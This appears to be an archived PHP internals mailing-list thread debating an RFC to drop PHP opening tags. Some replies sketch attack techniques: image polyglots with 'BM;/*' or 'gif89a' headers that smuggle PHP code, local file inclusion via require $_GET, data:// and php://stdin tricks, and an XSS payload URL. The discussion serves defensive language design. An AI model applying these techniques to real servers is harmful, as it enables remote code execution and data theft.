Common sence is allien to some people on this list or what?

As is civility and basic mutual respect, it would seem.

12 years ago by Ferenc Kovacs — view source

unread

"lol ... really REALLY stupid"

ps: I got baited
2012.04.13. 2:08, "Kris Craig" kris.craig@gmail.com ezt írta:

On Thu, Apr 12, 2012 at 5:02 PM, Arvids Godjuks <arvids.godjuks@gmail.com

wrote:

You all know where the short_tags, register_globals, magic_quotes and
other
stuff like that took the language and the problems it made.
Doesn`t history teach us a lesson? I see that it did not for some active
members of this list.
Many are still cleaning up the mess of thouse optional php.ini
directives,
Ibhad to clean up myself one project, took me 2 months to properly fix it
and make to run on PHP 5, anyway we ended up rewriting the whole thing
from
scratch, a year of day to day work.
Now i write my stuff E_ALL, including strict stuff and I know for a fact
that there is no php.ini switch that could screw up my applications on
different hosting platforms (yes, some minor things can happen in
specific
situations, but any properly configured PHP 5.3/5.4 will run smooth). And
now you purpose to add a switch that in one line can disable the
application for good (and get it's sources spit out all over the place).
And even if i write it in the right way - i have to convert every damn
external library. Ok, i upload it to the host and guess what - it spews
the
code out because it is configured for the <?php tag!

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other
stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

Common sence is allien to some people on this list or what?

As is civility and basic mutual respect, it would seem.

12 years ago by Stas Malyshev — view source

unread

Hi!

Common sence is allien to some people on this list or what?

While I think you make a good point, I also think we could do without
personal (or multi-personal) attacks. It is fine to discuss and
criticize ideas, but let's avoid attacks on personal level and
disparaging personal qualities of people. Intelligent people can have
different points of view and disagree completely on some subjects. Even
if you think somebody's idea is very bad, please let's say "I think your
idea is bad", not "You are a crazy moron".

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Arvids Godjuks — view source

unread

I will not write something like that any more, but you should understand
that Criss is writing to the list tons of e-mails and his attitude to other
people ideas and arguments is getting on people nerves. Remember thecphrase
from the Mythbusters "I reject your reality and substitute my own!". It
feels just that way with Criss.

I'm sorry if I crossed any lines, I made my case. I would like to believe
that my arguments about the topic are valid and would be taken into account.
13.04.2012 2:53 пользователь "Stas Malyshev" smalyshev@sugarcrm.com
написал:

Hi!

Common sence is allien to some people on this list or what?

While I think you make a good point, I also think we could do without
personal (or multi-personal) attacks. It is fine to discuss and
criticize ideas, but let's avoid attacks on personal level and
disparaging personal qualities of people. Intelligent people can have
different points of view and disagree completely on some subjects. Even
if you think somebody's idea is very bad, please let's say "I think your
idea is bad", not "You are a crazy moron".

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Kris Craig — view source

unread

On Thu, Apr 12, 2012 at 6:04 PM, Arvids Godjuks arvids.godjuks@gmail.comwrote:

I will not write something like that any more, but you should understand
that Criss is writing to the list tons of e-mails and his attitude to other
people ideas and arguments is getting on people nerves. Remember thecphrase
from the Mythbusters "I reject your reality and substitute my own!". It
feels just that way with Criss.

It's "Kris," btw. ;P

Everyone is entitled to their opinions, including me. I do convey my
points with confidence and conviction, and I understand that can be
intimidating for some. But the fact that I'm very sure of myself, perhaps
excessively so at times, does not justify resorting to personal attacks.
Just match my assertiveness with assertiveness of your own; aggression is
not necessary. I always won all the debates in school and that can
definitely be frustrating when you're on the other end of that. But again,
try not to take it so personally. If everyone puts forth the best logic
and avoids the temptation to get emotional, the debate will inevitably lead
to increased clarity on all sides of an issue that would otherwise not have
been possible. That's why it's important that you try to let go of your
resentment and follow the cool, even, unending center line of logic. If
you can master that, these discussions will be far less frustrating for
you. =)

I'm sorry if I crossed any lines, I made my case. I would like to believe
that my arguments about the topic are valid and would be taken into
account.

Your arguments are no less valid than mine or anyone else's. We're just
asking that you tone down the personal attacks.

13.04.2012 2:53 пользователь "Stas Malyshev" smalyshev@sugarcrm.com
написал:

Hi!

Common sence is allien to some people on this list or what?

While I think you make a good point, I also think we could do without
personal (or multi-personal) attacks. It is fine to discuss and
criticize ideas, but let's avoid attacks on personal level and
disparaging personal qualities of people. Intelligent people can have
different points of view and disagree completely on some subjects. Even
if you think somebody's idea is very bad, please let's say "I think your
idea is bad", not "You are a crazy moron".

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Arvids Godjuks — view source

unread

Taints actually got implemented and released as a PECL package. I allready
use them on our dev server and they really help to find and fix issues with
data escaping all over the place, even though we pay a lot of attention to
this stuff. The only sad thing is that there is no noise at the moment
about it.
11.04.2012 19:40 пользователь "John Crenshaw" johncrenshaw@priacta.com
написал:

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might identify
it as a valid image

Right, but anyone can trivially construct a fully valid bitmap with a
starting byte sequence of 42 4D 3B 2F 2A, which resolves to BM;/*. PHP
will decide that BM meant 'BM', effectively skipping it, then the open
comment will slide the PHP interpreter past any remaining header stuff. You
can close the comment and place the actual code payload anywhere in the
image data. The early bytes in other image formats are similarly
exploitable. As far as I can tell there is really no security win here.

Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we try
to attack the actual cause of the problem. I would love to hear some ideas
along those lines that don't fundamentally change the nature of PHP for
somewhat cloudy benefits.

-Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in
the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC:
https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it
(optionally) warns the developer that they did something very bad,
regardless of whether it actually caused a problem with the specific input
data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format
internally, where PHP strings are actually a set of distinct blocks which
each contain encoding information. This would make it possible to
concatenate strings just as always, but since the attributes of each block
are known the entire string contents could be manipulated to an arbitrary
final encoding, (or rejected as impossible to safely convert) when the
string is actually used. In the include case this isn't really very
different from taint, because safe conversion is impossible, but for things
like XSS and SQL injection it could actually fix the otherwise vulnerable
code. A simplified example of how this might work:

http://example.com?name=%3Cscript%3Exss()%3B%3C%2Fscript%3E

// $_GET['name'] === [text&user&utf8('<script>xss();</script>')];
$name = $_GET['name'];

$welcome = html("Welcome <b>$name</b>!"); // $welcome === [html('Welcome
<b>'), text&user&utf8('<script>xss();</script>'), html('</b>!')];

echo $_GET['name']; // assuming the current output format is text/html,
the output will be "Welcome <b> <script>xss();</script></b>!"

Obviously this second idea is probably a prohibitively large change, there
is some BC break (especially where an input was known to be HTML but
secured via something like HTMLPurifier), and there are huge open questions
(like how to handle string comparison). Still, I think it is interesting
because it actually divines the real meaning. The intent of the above code
is obvious to a developer, and something like this could bring that
understanding to the final result. This specific concept has issues, but
maybe it gives someone else a more practical idea.

John Crenshaw
Priacta, Inc.

12 years ago by Rasmus Lerdorf — view source

unread

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might identify it as a valid image

Right, but anyone can trivially construct a fully valid bitmap with a starting byte sequence of 42 4D 3B 2F 2A, which resolves to BM;/*. PHP will decide that BM meant 'BM', effectively skipping it, then the open comment will slide the PHP interpreter past any remaining header stuff. You can close the comment and place the actual code payload anywhere in the image data. The early bytes in other image formats are similarly exploitable. As far as I can tell there is really no security win here.

Only protecting against mid-script injections and not top-of-script injections is a somewhat subtle concept when the real problem is the vulnerable include $_GET['filename'] hole. If this really is a prevalent problem, maybe instead of trying to mitigate the symptoms, why don't we try to attack the actual cause of the problem. I would love to hear some ideas along those lines that don't fundamentally change the nature of PHP for somewhat cloudy benefits.

-Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC: https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it (optionally) warns the developer that they did something very bad, regardless of whether it actually caused a problem with the specific input data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format internally, where PHP strings are actually a set of distinct blocks which each contain encoding information. This would make it possible to concatenate strings just as always, but since the attributes of each block are known the entire string contents could be manipulated to an arbitrary final encoding, (or rejected as impossible to safely convert) when the string is actually used. In the include case this isn't really very different from taint, because safe conversion is impossible, but for things like XSS and SQL injection it could actually fix the otherwise vulnerable code. A simplified example of how this might work:

I think you may be overthinking it. I was thinking more along the lines
of having some rules for include/require. Something like every
non-relative include/require must start with a const string and any
variable part cannot have '..' in it. As in:

Say $variable gets set to '/etc/passwd' then

include $variable;

would fail because it is an absolute-path include without a leading
const. However, this would work:

include '/tmp/' . $variable;

And so would this:

include INSTALL_PATH . $variable;

Relative includes including the ones that are relative to include_path
wouldn't change. If the bad guys can write to the doc root or a
directory below the doc root then they don't need LFI, they can just hit
the path directly from their browser.

Obviously still disruptive and there would be some BC breaks, but I bet
it would be more effective than trying to optionally turn off the parser
in the right places.

-Rasmus

12 years ago by John LeSueur — view source

unread

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might
identify it as a valid image

Right, but anyone can trivially construct a fully valid bitmap with a
starting byte sequence of 42 4D 3B 2F 2A, which resolves to BM;/*. PHP
will decide that BM meant 'BM', effectively skipping it, then the open
comment will slide the PHP interpreter past any remaining header stuff. You
can close the comment and place the actual code payload anywhere in the
image data. The early bytes in other image formats are similarly
exploitable. As far as I can tell there is really no security win here.

Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we try
to attack the actual cause of the problem. I would love to hear some ideas
along those lines that don't fundamentally change the nature of PHP for
somewhat cloudy benefits.

-Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in
the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC:
https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it
(optionally) warns the developer that they did something very bad,
regardless of whether it actually caused a problem with the specific input
data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format
internally, where PHP strings are actually a set of distinct blocks which
each contain encoding information. This would make it possible to
concatenate strings just as always, but since the attributes of each block
are known the entire string contents could be manipulated to an arbitrary
final encoding, (or rejected as impossible to safely convert) when the
string is actually used. In the include case this isn't really very
different from taint, because safe conversion is impossible, but for things
like XSS and SQL injection it could actually fix the otherwise vulnerable
code. A simplified example of how this might work:

I think you may be overthinking it. I was thinking more along the lines
of having some rules for include/require. Something like every
non-relative include/require must start with a const string and any
variable part cannot have '..' in it. As in:

Say $variable gets set to '/etc/passwd' then

include $variable;

would fail because it is an absolute-path include without a leading
const. However, this would work:

include '/tmp/' . $variable;

And so would this:

include INSTALL_PATH . $variable;

Relative includes including the ones that are relative to include_path
wouldn't change. If the bad guys can write to the doc root or a
directory below the doc root then they don't need LFI, they can just hit
the path directly from their browser.

Obviously still disruptive and there would be some BC breaks, but I bet
it would be more effective than trying to optionally turn off the parser
in the right places.

-Rasmus

If this were in serious consideration, wouldn't it need to be two
parameters, so that the engine can check them separately?

If we really are concerned about developers creating LFI
vulnerabilities[1], I think this is the way to do it. It's a little like
setting open_basedir before every include, but requiring the open_basedir
to be a constant. Developers can deliberately sidestep this if they need to
use a variable, like:

define('install_dir', $config['install_dir']);
include myPath, $file;

As you said, there's still a lot of disruption, so it's only worth it if we
really think that preventing developers from writing vulnerable code is
required, because education won't work.

Overall, I'm ambivalent about allowing some files to omit <?php, or
disallowing ?> in those files. If we do so, it feels more like the file
itself should somehow communicate that it should be parsed differently[2],
rather than making it the responsibility of the including script. Any
security benefit is more like a side effect than the motivating factor.
Relying on php's failure to parse a file isn't security, it's an accident.

Thanks,
John

[1] there really are a lot out there, and from the little I saw, it's
usually in CMS's which are often used by non-php programmers, and the
plugins are often written as a first-time, let's try this out kind of thing.
[2] starting with "<?phpp" would work, but doesn't really address some
people's objection to using <?php in the first place. File extension
conventions with a flag to the include construct seem like an acceptable
second choice though.

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/12 John LeSueur john.lesueur@gmail.com:

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might
identify it as a valid image

Right, but anyone can trivially construct a fully valid bitmap with a
starting byte sequence of 42 4D 3B 2F 2A, which resolves to BM;/*. PHP
will decide that BM meant 'BM', effectively skipping it, then the open
comment will slide the PHP interpreter past any remaining header stuff. You
can close the comment and place the actual code payload anywhere in the
image data. The early bytes in other image formats are similarly
exploitable. As far as I can tell there is really no security win here.

Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we try
to attack the actual cause of the problem. I would love to hear some ideas
along those lines that don't fundamentally change the nature of PHP for
somewhat cloudy benefits.

-Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in
the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC:
https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it
(optionally) warns the developer that they did something very bad,
regardless of whether it actually caused a problem with the specific input
data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format
internally, where PHP strings are actually a set of distinct blocks which
each contain encoding information. This would make it possible to
concatenate strings just as always, but since the attributes of each block
are known the entire string contents could be manipulated to an arbitrary
final encoding, (or rejected as impossible to safely convert) when the
string is actually used. In the include case this isn't really very
different from taint, because safe conversion is impossible, but for things
like XSS and SQL injection it could actually fix the otherwise vulnerable
code. A simplified example of how this might work:

I think you may be overthinking it. I was thinking more along the lines
of having some rules for include/require. Something like every
non-relative include/require must start with a const string and any
variable part cannot have '..' in it. As in:

Say $variable gets set to '/etc/passwd' then

include $variable;

would fail because it is an absolute-path include without a leading
const. However, this would work:

include '/tmp/' . $variable;

And so would this:

include INSTALL_PATH . $variable;

Relative includes including the ones that are relative to include_path
wouldn't change. If the bad guys can write to the doc root or a
directory below the doc root then they don't need LFI, they can just hit
the path directly from their browser.

Obviously still disruptive and there would be some BC breaks, but I bet
it would be more effective than trying to optionally turn off the parser
in the right places.

-Rasmus

If this were in serious consideration, wouldn't it need to be two
parameters, so that the engine can check them separately?

If we really are concerned about developers creating LFI vulnerabilities[1],
I think this is the way to do it. It's a little like setting open_basedir
before every include, but requiring the open_basedir to be a constant.
Developers can deliberately sidestep this if they need to use a variable,
like:

define('install_dir', $config['install_dir']);
include myPath, $file;

As you said, there's still a lot of disruption, so it's only worth it if we
really think that preventing developers from writing vulnerable code is
required, because education won't work.

That's true. Education won't work.

Overall, I'm ambivalent about allowing some files to omit <?php, or
disallowing ?> in those files. If we do so, it feels more like the file
itself should somehow communicate that it should be parsed differently[2],
rather than making it the responsibility of the including script. Any
security benefit is more like a side effect than the motivating factor.
Relying on php's failure to parse a file isn't security, it's an accident.

Right. Other languages are relying on an accident when things goes
wrong. This situation should not happen in first place, but what the
important is system will be protected instead of serious disaster.

This difference is the last PHP security issue that other language
users point out as PHP is poor on security. This is what I would
like to change if PHP is going to support script only files.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Thanks,
John

[1] there really are a lot out there, and from the little I saw, it's
usually in CMS's which are often used by non-php programmers, and the
plugins are often written as a first-time, let's try this out kind of thing.
[2] starting with "<?phpp" would work, but doesn't really address some
people's objection to using <?php in the first place. File extension
conventions with a flag to the include construct seem like an acceptable
second choice though.

12 years ago by Richard Lynch — view source

unread

Hi!

I'm sure you have seen the same code in JSON hijack countermeasure.

while(1){}

I think you misunderstood what I means. What I meant is you can inject
code without <? the same way you can inject code with <?, so where's
the
improvement?
kill() function would be just an example of code being injected by
hostile third party (intent on killing your server, presumably). If I
can inject it with <?, what prevents me from injecting without <? ?

Actually, it makes it worse.

I can search for '<?php' (no short open tags) or '<?=' and reject
without the new feature.

Without the new feature, no easy way to detect it contains PHP code.

--
brain cancer update:
http://richardlynch.blogspot.com/search/label/brain%20tumor
Donate:
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=FS9NLTNEEKWBE

12 years ago by Chris Stockton — view source

unread

Hello,

Hi all,

This is the RFC as in the title.
Although it's not a direct security measure, but it's related
to critical security problem prevention.

If you are not familiar to how to execute arbitrary PHP code,
steal data from RDBMS via SQL injection and LFI, it may be
interesting.

This RFC will not break any existing code. Programmers
may keep full backward compatibility while getting better
security.

https://wiki.php.net/rfc/nophptags

Please read and give comments.
Thank you.

P.S. This RFC is based on April Fool RFC written by Moriyoshi,
but this is serious RFC.

I'm sorry I have read your RFC and do not mean to offend, I appreciate
the effort you spent writing it but I have to say it is really far off
from actually solving the "Problem" you want to fix. I will suggest
you use the tokenizer extension if you really must do what you are
trying to describe.

My vote on this is -1

-Chris

12 years ago by John Crenshaw — view source

unread

From: yohgaki@gmail.com [mailto:yohgaki@gmail.com] On Behalf Of Yasuo Ohgaki

Hi all,

This is the RFC as in the title.
Although it's not a direct security measure, but it's related to critical security problem prevention.

If you are not familiar to how to execute arbitrary PHP code, steal data from RDBMS via SQL injection and LFI, it may be interesting.

This RFC will not break any existing code. Programmers may keep full backward compatibility while getting better security.

https://wiki.php.net/rfc/nophptags

The proposed change will NOT make it safe to write require $_GET['name'];

Nothing can ever make that code safe. Even with remote inclusion turned off, even with php tags disabled. That code is fundamentally broken. It uses an uncontrolled input to execute arbitrary code and is only slightly more difficult to exploit than eval($_GET[foo']). In most systems you can upload anything with a .jpg extension and the app will take it, so you can still include the file, and the contents can drop straight into script, no tag needed. If the temporary upload directory is accessible to the PHP process at all you can also include the file, regardless of extension or content.

Alternately, in the unlikely case that file contents of uploads are validated, or the exploit file is otherwise not fully under control, you could use a noop slide of sorts (multiline comment, string, or docblock) to "slide" past any obligatory starting boilerplate or incontrollable garbage in a file to quickly reach the code point. Honestly it would be far harder to craft an attack file if you REQUIRED the file to start with <?php, since many file formats have obligatory tags in the first few bytes. If the file starts in code mode these tags can be terminated/jumped into a slide in a vast variety of ways (; or ;/* or .', just to name a few.) PHP will give a notice, but otherwise happily continue (assuming an alphanumeric tag, which is most common).

If that is too complicated, you could bypass the need for a file entirely by using data:// or php://stdin to effectively turn the require into an eval. I'm sure there are any number of other inventive exploits that I haven't even thought of.

The supposition that a user can (let alone will) make this code secure by disabling script tags is insane. It doesn't actually prevent this type of exploit in the first place. No shared host or distro could possibly get away with disabling this by default, because of the impact to legacy code, and someone who wrote "require $_GET['name']" isn't watching security on their side anyway. There's simply no sane reason for such an option, especially globally.

John Crenshaw
Priacta, Inc.

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/13 Tom Boutell tom@punkave.com:

If this is a pecl module library developers cannot use it and trust that on php 5.n, it just works. That would fork the language in an undesirable way. It should be a core feature, no ini flag, no sometimes-there module.

We are saying not into core. Implement it as PECL see if it is widely
used or not. I think this will be an interesting experiment. If it's worth,
framework developers will adopt it, since they can easily write compatible
user function.

function script($file) { return include($file); }

The reason I didn't recommend to write your own parser is APC or
other similar modules. Modules that require to override default parser
may not work if you wrote your own. If it cannot work with them, it
would be difficult for many frameworks to adopt.

It's easy module to write.
Try and see what happens!

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Sent from my iPhone

Hi,

2012/4/13 Yasuo Ohgaki yohgaki@ohgaki.net:

Hi,

2012/4/13 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

If I exclude current code, then introducing script only include will be
preferred one. I preferred dedicated statement for it though.

include
include_once
require
require_once
script
script_once

I have a thought here. To implement script/script_once you don't need it
to be a language construct. A function would do just as fine. Why not
make an extension having these two functions, put it on PECL and see if
people will be using it?
For extreme adopters, you could even make php.ini switch that overrides
include/require and redirects them to your script functions. Shouldn't
be impossible to do, I think.

Good idea.

I think it's possible as a Zend engine module. It may be possible
as normal module if compiler hook can be used. I guess it is now.

It provides optional security by accident. (Someone called LFI syntax
error an accident and I like it) I wish the other RFC author
implement this.

Regards,

I just briefly read tokenizer code.
We can simply scan tokens and validate then executes.
So it's a very simple module to write.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Stas Malyshev — view source

unread

Hi!

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.

PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by David Muir — view source

unread

Hi!

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

Cheers,
David

12 years ago by Matthew Weier O'Phinney — view source

unread

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

I made this very suggestion earlier this week (we do this in ZF1 to
emulate short tag support for those who use them).

--
Matthew Weier O'Phinney
Project Lead | matthew@zend.com
Zend Framework | http://framework.zend.com/
PGP key: http://framework.zend.com/zf-matthew-pgp-key.asc

12 years ago by Tom Boutell — view source

unread

Wouldn't this be a significant performance hit when multiplied by
every class file in a project?

On Fri, Apr 13, 2012 at 10:15 AM, Matthew Weier O'Phinney
weierophinney@php.net wrote:

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

I made this very suggestion earlier this week (we do this in ZF1 to
emulate short tag support for those who use them).

--
Matthew Weier O'Phinney
Project Lead | matthew@zend.com
Zend Framework | http://framework.zend.com/
PGP key: http://framework.zend.com/zf-matthew-pgp-key.asc

--

--
Tom Boutell
P'unk Avenue
215 755 1330
punkave.com
window.punkave.com

12 years ago by Tom Boutell — view source

unread

(I'm referring to the streams approach. You seem to be suggesting a
PECL extension with a fallback provision. It still sounds like
something no one will seriously use because they can't count on it
running fast on a given box, although it is a clever workaround.)

Wouldn't this be a significant performance hit when multiplied by
every class file in a project?

On Fri, Apr 13, 2012 at 10:15 AM, Matthew Weier O'Phinney
weierophinney@php.net wrote:

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

I made this very suggestion earlier this week (we do this in ZF1 to
emulate short tag support for those who use them).

--
Matthew Weier O'Phinney
Project Lead | matthew@zend.com
Zend Framework | http://framework.zend.com/
PGP key: http://framework.zend.com/zf-matthew-pgp-key.asc

--

--
Tom Boutell
P'unk Avenue
215 755 1330
punkave.com
window.punkave.com

--
Tom Boutell
P'unk Avenue
215 755 1330
punkave.com
window.punkave.com

12 years ago by Matthew Weier O'Phinney — view source

unread

Wouldn't this be a significant performance hit when multiplied by
every class file in a project?

Typically, you'd cache the end-result of pre-processing, so that
subsequent requests can use the processed results. In other words, you
incur the expense once per file.

On Fri, Apr 13, 2012 at 10:15 AM, Matthew Weier O'Phinney
weierophinney@php.net wrote:

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

I made this very suggestion earlier this week (we do this in ZF1 to
emulate short tag support for those who use them).

--
Matthew Weier O'Phinney
Project Lead | matthew@zend.com
Zend Framework | http://framework.zend.com/
PGP key: http://framework.zend.com/zf-matthew-pgp-key.asc

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/14 Matthew Weier O'Phinney weierophinney@php.net:

Wouldn't this be a significant performance hit when multiplied by
every class file in a project?

Typically, you'd cache the end-result of pre-processing, so that
subsequent requests can use the processed results. In other words, you
incur the expense once per file.

We don't have to look up already processed for
script_once() by ourselves. Looking up included file
cache array is enough. script_once() would be fast
enough for most cases. script() will be slower, but
nobody would care.

Regards,

--
Yasuo Ohgaki

On Fri, Apr 13, 2012 at 10:15 AM, Matthew Weier O'Phinney
weierophinney@php.net wrote:

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

I made this very suggestion earlier this week (we do this in ZF1 to
emulate short tag support for those who use them).

--
Matthew Weier O'Phinney
Project Lead | matthew@zend.com
Zend Framework | http://framework.zend.com/
PGP key: http://framework.zend.com/zf-matthew-pgp-key.asc

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/14 Yasuo Ohgaki yohgaki@ohgaki.net:

Hi,

2012/4/14 Matthew Weier O'Phinney weierophinney@php.net:

Wouldn't this be a significant performance hit when multiplied by
every class file in a project?

Typically, you'd cache the end-result of pre-processing, so that
subsequent requests can use the processed results. In other words, you
incur the expense once per file.

We don't have to look up already processed for
script_once() by ourselves. Looking up included file

should be

We don't have to manage already processed files for
script_once() buy ourselves.

--
Yasuo Ohgaki

cache array is enough. script_once() would be fast
enough for most cases. script() will be slower, but
nobody would care.

Regards,

--
Yasuo Ohgaki

On Fri, Apr 13, 2012 at 10:15 AM, Matthew Weier O'Phinney
weierophinney@php.net wrote:

If this is a pecl module library developers cannot use it and trust
that on php 5.n, it just works. That would fork the language in an
undesirable way. It should be a core feature, no ini flag, no
sometimes-there module.
PHP 5.n is at least a year away, wide adoption of it - more like 5 years
away. So if you want to write code that would run anywhere (as opposed
on systems you control) you'd have to wait minimum 5 years. Wouldn't it
better to have it earlier?
OTOH, requiring extensions is a common thing for applications, and any
pecl extension is one command away for most setups, or one download away
for others. And can be made work even in 5.2 if desired.

Can't it also be handled using streams to inject a leading <?php to the
file prior to inclusion? A PECL extension would then just make it run a
bit faster.

I made this very suggestion earlier this week (we do this in ZF1 to
emulate short tag support for those who use them).

--
Matthew Weier O'Phinney
Project Lead | matthew@zend.com
Zend Framework | http://framework.zend.com/
PGP key: http://framework.zend.com/zf-matthew-pgp-key.asc

Disabling PHP tags by php.ini and CLI options

gif89a = 123; (attack code here)

I see no "infamous reputation" except the wrong one you are creating right now. include with user-supplied argument is a security hole, it has nothing to do with vulnerability in PHP.

-- Lester Caine - G8HFL

-- Lester Caine - G8HFL

gif89a = 123;
(attack code here)

I see no "infamous reputation" except the wrong one you are creating
right now. include with user-supplied argument is a security hole, it
has nothing to do with vulnerability in PHP.

--
Lester Caine - G8HFL

--
Lester Caine - G8HFL